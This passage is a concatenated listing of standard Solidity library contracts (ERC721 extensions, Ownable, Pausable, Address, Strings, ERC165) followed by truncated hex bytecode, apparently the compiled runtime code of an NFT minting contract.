zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
0x6080604052600436106102255760003560e01c80636c0360eb11610123578063a0712d68116100ab578063e222c7f91161006f578063e222c7f9146107c2578063e985e9c5146107d9578063f2fde38b14610816578063f759867a1461083f578063fa9b70181461085b57610225565b8063a0712d6814610700578063a22cb4651461071c578063b88d4fde14610745578063c87b56dd1461076e578063ca3cb522146107ab57610225565b806377d3c8be116100f257806377d3c8be1461063f5780637f205a74146106685780638456cb59146106935780638da5cb5b146106aa57806395d89b41146106d557610225565b80636c0360eb1461058357806370a08231146105ae578063715018a6146105eb57806371e4ce991461060257610225565b80632f745c59116101b15780634f6ccce7116101755780634f6ccce71461048a57806355f804b3146104c75780635c975abb146104f057806362dc6e211461051b5780636352211e1461054657610225565b80632f745c59146103cb57806332cb6b0c146104085780633ccfd60b146104335780633f4ba83a1461044a57806342842e0e1461046157610225565b8063086b9a0d116101f8578063086b9a0d146102f8578063095ea7b31461032357806318160ddd1461034c57806323b872dd14610377578063274ddba8146103a057610225565b806301ffc9a71461022a57806306fdde0314610267578063081812fc1461029257806308564ae3146102cf575b600080fd5b34801561023657600080fd5b50610251600480360381019061024c91906138a4565b610886565b60405161025e9190613f76565b60405180910390f35b34801561027357600080fd5b5061027c610898565b6040516102899190613f91565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190613937565b61092a565b6040516102c69190613f0f565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f19190613937565b6109af565b005b34801561030457600080fd5b5061030d610aac565b60405161031a91906143d3565b60405180910390f35b34801561032f57600080fd5b5061034a60048036038101906103459190613827565b610ab1565b005b34801561035857600080fd5b50610361610bc9565b60405161036e91906143d3565b60405180910390f35b34801561038357600080fd5b5061039e60048036038101906103999190613721565b610bd6565b005b3480156103ac57600080fd5b506103b5610c36565b6040516103c291906143d3565b60405180910390f35b3480156103d757600080fd5b506103f260048036038101906103ed9190613827565b610c3c565b6040516103ff91906143d3565b60405180910390f35b34801561041457600080fd5b5061041d610ce1565b60405161042a91906143d3565b60405180910390f35b34801561043f57600080fd5b50610448610ce7565b005b34801561045657600080fd5b5061045f610e19565b005b34801561046d57600080fd5b5061048860048036038101906104839190613721565b610e9f565b005b34801561049657600080fd5b506104b160048036038101906104ac9190613937565b610ebf565b6040516104be91906143d3565b60405180910390f35b3480156104d357600080fd5b506104ee60048036038101906104e991906138f6565b610f56565b005b3480156104fc57600080fd5b50610505610fec565b6040516105129190613f76565b60405180910390f35b34801561052757600080fd5b50610530611003565b60405161053d91906143d3565b60405180910390f35b34801561055257600080fd5b5061056d60048036038101906105689190613937565b61100f565b60405161057a9190613f0f565b60405180910390f35b34801561058f57600080fd5b506105986110c1565b6040516105a59190613f91565b60405180910390f35b3480156105ba57600080fd5b506105d560048036038101906105d091906136bc565b61114f565b6040516105e291906143d3565b60405180910390f35b3480156105f757600080fd5b50610600611207565b005b34801561060e57600080fd5b50610629600480360381019061062491906136bc565b61128f565b6040516106369190613f76565b60405180910390f35b34801561064b57600080fd5b5061066660048036038101906106619190613863565b6112e5565b005b34801561067457600080fd5b5061067d61141c565b60405161068a91906143d3565b60405180910390f35b34801561069f57600080fd5b506106a8611428565b005b3480156106b657600080fd5b506106bf6114ae565b6040516106cc9190613f0f565b60405180910390f35b3480156106e157600080fd5b506106ea6114d8565b6040516106f79190613f91565b60405180910390f35b61071a60048036038101906107159190613937565b61156a565b005b34801561072857600080fd5b50610743600480360381019061073e91906137eb565b611713565b005b34801561075157600080fd5b5061076c60048036038101906107679190613770565b611894565b005b34801561077a57600080fd5b5061079560048036038101906107909190613937565b6118f6565b6040516107a29190613f91565b60405180910390f35b3480156107b757600080fd5b506107c0611908565b005b3480156107ce57600080fd5b506107d76119b0565b005b3480156107e557600080fd5b5061080060048036038101906107fb91906136e5565b611a58565b60405161080d9190613f76565b60405180910390f35b34801561082257600080fd5b5061083d600480360381019061083891906136bc565b611aec565b005b61085960048036038101906108549190613937565b611be4565b005b34801561086757600080fd5b50610870611e38565b60405161087d91906143d3565b60405180910390f35b600061089182611e3d565b9050919050565b6060600080546108a7906146ba565b80601f01602080910402602001604051908101604052809291908181526020018280546108d3906146ba565b80156109205780601f106108f557610100808354040283529160200191610920565b820191906000526020600020905b81548152906001019060200180831161090357829003601f168201915b5050505050905090565b600061093582611eb7565b610974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096b90614253565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6109b7611f23565b73ffffffffffffffffffffffffffffffffffffffff166109d56114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2290614293565b60405180910390fd5b6000610a35610bc9565b905060c88110610a7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7190614093565b60405180910390fd5b60c88282610a8891906144ef565b1115610a9e578060c8610a9b91906145d0565b91505b610aa83383611f2b565b5050565b60c881565b6000610abc8261100f565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b24906142f3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b4c611f23565b73ffffffffffffffffffffffffffffffffffffffff161480610b7b5750610b7a81610b75611f23565b611a58565b5b610bba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb190614193565b60405180910390fd5b610bc48383611f6e565b505050565b6000600880549050905090565b610be7610be1611f23565b82612027565b610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90614313565b60405180910390fd5b610c31838383612105565b505050565b61012c81565b6000610c478361114f565b8210610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f90613fd3565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b61271081565b610cef611f23565b73ffffffffffffffffffffffffffffffffffffffff16610d0d6114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a90614293565b60405180910390fd5b6000610d6d6114ae565b73ffffffffffffffffffffffffffffffffffffffff1647604051610d9090613efa565b60006040518083038185875af1925050503d8060008114610dcd576040519150601f19603f3d011682016040523d82523d6000602084013e610dd2565b606091505b5050905080610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90614073565b60405180910390fd5b50565b610e21611f23565b73ffffffffffffffffffffffffffffffffffffffff16610e3f6114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8c90614293565b60405180910390fd5b610e9d612361565b565b610eba83838360405180602001604052806000815250611894565b505050565b6000610ec9610bc9565b8210610f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0190614353565b60405180910390fd5b60088281548110610f44577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610f5e611f23565b73ffffffffffffffffffffffffffffffffffffffff16610f7c6114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610fd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc990614293565b60405180910390fd5b80600d9080519060200190610fe892919061344a565b5050565b6000600b60009054906101000a900460ff16905090565b67013fbe85edc9000081565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110af906141f3565b60405180910390fd5b80915050919050565b600d80546110ce906146ba565b80601f01602080910402602001604051908101604052809291908181526020018280546110fa906146ba565b80156111475780601f1061111c57610100808354040283529160200191611147565b820191906000526020600020905b81548152906001019060200180831161112a57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b7906141d3565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61120f611f23565b73ffffffffffffffffffffffffffffffffffffffff1661122d6114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127a90614293565b60405180910390fd5b61128d6000612403565b565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6112ed611f23565b73ffffffffffffffffffffffffffffffffffffffff1661130b6114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611361576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135890614293565b60405180910390fd5b60005b8151811015611418576001600c60008484815181106113ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114109061471d565b915050611364565b5050565b67013fbe85edc9000081565b611430611f23565b73ffffffffffffffffffffffffffffffffffffffff1661144e6114ae565b73ffffffffffffffffffffffffffffffffffffffff16146114a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149b90614293565b60405180910390fd5b6114ac6124c9565b565b6000600b60019054906101000a900473fff